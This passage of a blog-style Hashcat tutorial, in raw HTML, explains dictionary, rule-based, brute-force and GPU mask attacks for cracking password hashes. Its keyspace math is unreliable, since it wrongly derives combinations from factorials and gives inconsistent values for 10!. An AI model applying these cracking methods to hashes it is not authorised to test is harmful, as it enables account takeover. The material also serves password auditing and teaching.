&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;I will assume you can figure out the Hash Type drop down menu but some may have trouble with the modes so here is a quick overview of the different attack modes:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;u&gt;straight&lt;/u&gt; - This mode will go through your dictionary from top to bottom without altering anything, if it is on your list it will find it if not it won’t...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;u&gt;combination&lt;/u&gt; - This mode will combine words together in the form of word1word1, word1word2 using the defined dictionary to pair the word combinations.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;u&gt;Toggle-Case&lt;/u&gt; - This mode will go through your defined wordlist and will alternate the Case used on each of the words, for example: word, Word, wOrd, woRd, worD, and so on...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;u&gt;Permutation&lt;/u&gt; - This mode will try to extend your wordlist by attempting to try all possible combinations of words that might be created from the characters used in each word. This can be accomplished through a good rule set so I won’t cover too much of it...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;u&gt;Table-Lookup&lt;/u&gt; - This mode allows you to compare Hashes against pre-computed hash tables. If you have these on hand or if you have created them yourself this may be helpful to you. I tend not to use rainbow tables so I will not go into this here...&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 10pt 22.5pt; mso-add-space: auto; mso-list: l0 level1 lfo1; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;&lt;u&gt;Bruteforce&lt;/u&gt; - This will try to use bruteforce to find the password by simply trying every possible combination available given the charset to use and the min and max length to try, the time needed to run through all depends on the charset used and the strength of the setup you run it on.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;I advise reviewing the Hashcat site for rules files as they can be used to manipulate your wordlist and make them exponentially more valuable and effective. They also can allow you to manipulate a wordlist as defined by the rule set used. You can use this to get the same affects as the Toggle-Case, Permutations, Combination, as well as custom ones like adding 2011 to the end or beginning of each word, or maybe in the middle instead. These types of things can all be defined in the rules and then loaded in to modify your wordlist on the fly. I generally run the "Straight" words attack mode and then roll through all of my rules I have setup one by one with a much higher rate of effectiveness. &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Here are some possible charsets you might want to try out if you will be Bruteforcing your way to victory. Just keep in mind how they can impact time it might take to crack cycling through all possible combinations and also why it important to keep a secure password:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;0123456789 &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l1 level2 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;3628800 Possible Combinations&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;abcdefghijklmnopqrstuvwxyz&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l1 level2 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;403291461126605635584000000 Possible Combinations&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;!"#$%&amp;amp;'()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;abcdefghijklmnopqrstuvwxyz0123456789&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l1 level2 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;3.7199332678990121746799944815084e+41 Possible Combinations&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&amp;amp;'()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;abcdefghijklmnopqrstuvwxyz0123456789!"#$%&amp;amp;'()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l1 level2 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;2.4800355424368305996009904185692e+96 Possible Combinations&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.5in; mso-add-space: auto; mso-list: l1 level1 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&amp;amp;'()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpLast" style="margin: 0in 0in 0pt 1in; mso-add-space: auto; mso-list: l1 level2 lfo2; text-indent: -0.25in;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;; mso-fareast-font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style="mso-list: Ignore;"&gt;o&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;1.0873661566567430802736528525679e+146 Possible Outcomes&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 0pt; text-indent: 1.5in;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;NOTE: Possible combinations can be derived using factorial functions: x! Where x = number of characters available to use, hence:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraph" style="margin: 0in 0in 10pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;0123456789 - 10! OR 10 x 9 x 8 x 7 x 6 x 5 x 4 x 3 x 2 x 1 = 362800 Possible Combinations&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;That is all the math I will bore you with for now, sorry but thought someone out there might find this interesting. Once you have identified the method that works best for you simply setup all the options and point everything to the correct files and if you have elected to have the cracked hashes removed then you might want to also check the Output "Write recovered hashes to file" and point it to where you want the output to go to. It will create a new file if needed, and will share nicely with the other tabs if you decide to use one file for all of your outputs, you can also play with the output formatting as well to put in form of HASH:PASS or HAHS:HEX_PASS or HAHS:PASS:HEX_PASS.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;TRICK: If you have want to take the found passwords form the output file and add them to the word list you can write your own batch script or Perl script to remove the hash from prefix using the "hash list separator" as your indicator mark to stop removing items from each line. If that doesn’t work you can copy and paste the list online here: &lt;a href="http://www.md5decrypter.co.uk/list-tool.aspx"&gt;http://www.md5decrypter.co.uk/list-tool.aspx&lt;/a&gt;. You can identify your hash list separator on the right hand side and then let it run. It will allow you to split the list into a separate hash file and a separate password file, which you can then add to your word list or manage as needed. See screenshot below:&lt;span style="mso-no-proof: yes;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://img219.imageshack.us/img219/6885/21394100.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="215" src="http://img219.imageshack.us/img219/6885/21394100.png" t8="true" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;/span&gt;&amp;nbsp;&lt;span style="font-family: Calibri;"&gt;Everything so far relates to the main tab for Hashcat which relies on CPU power. This can be fine if you have a simple rule set or a small word list, but can take centuries if you have a rather complex rule set and a really large word list. For example, I am running this with the latest i7 core processor and can get speeds up at about 56 Million words a second which may take around 13 Hours if I let it go non-stop at an 8 character password with the "abcdefghijklmnopqrstuvwxyz0123456789" charset. If I wanted to start testing longer password possibilities or larger charsets it would start growing exponentially and would become unrealistic after a while. This is where it is handy to upgrade your motherboard with a few video cards and start putting them to use in cracking. The GPU cores can be used to help out the job and can achieve insanely high pass through rates. If we run the same bruteforce attack using my two GPU enabled cards (450GTS &amp;amp; 580GTX-ti) I can speed things up to about 800 Million Passwords a second to speed the attack time from ~13 hours to just under an hour. This makes a HUGE difference in completion time!!! &lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;Let us now review the three (3) different GPU tools available and how and when to use them: oclHashcat/cudaHashcat, oclHashcat-plus/cudaHashcat-plus, and oclHashcat-lite/cudaHashcat-lite.&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;u&gt;&lt;span style="font-family: Calibri;"&gt;cudaHashcat/oclHashcat (Tab2):&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal" style="margin: 0in 0in 10pt;"&gt;&lt;span style="font-family: Calibri;"&gt;There is cudaHashcat/oclHashcat which can be used for BruteForcing MD5, MD4, NTLM, DCC, SHA-1, and MySQL hashes. It is handy for bruteforcing a Large Hash list after exhausting all of your dictionaries. It also has the ability to apply rules to either side of the password combinations being tried (left vs. right side). This tool will take the default built in charsets or customer user defined charsets and will run much faster than any CPU bruteforce attempts. You can define the charset to use by using the mask feature and identifying the number of characters to use. You would need to define 4 on one side and 4 on the other to try all possibilities for 8 character hash. Here is a overview of what can be used to define how you want to perform this hybrid attack:&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?l = lowercase alpha (abcdefghijklmnopqrstuvwxyz)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?u = uppercase alpha (ABCDEFGHIJKLMNOPQRSTUVWXYZ)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?d = numerical digits (0123456789)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?s = !"#$%&amp;amp;'()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?h = ISO-8859 characters from 0xc0 - 0xff&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?D = 8bit characters from German alphabet&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?F = 8bit characters from French alphabet&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?R = 8bit characters from Russian alphabet&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?1 = number one - use custom charset 1 (uses whatever you copy into the empty field)&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 45pt; mso-add-space: auto; mso-list: l2 level1 lfo3; text-indent: -0.25in;"&gt;&lt;span style="font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;"&gt;&lt;span style="mso-list: Ignore;"&gt;·&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Calibri;"&gt;?2 = number two - use custom 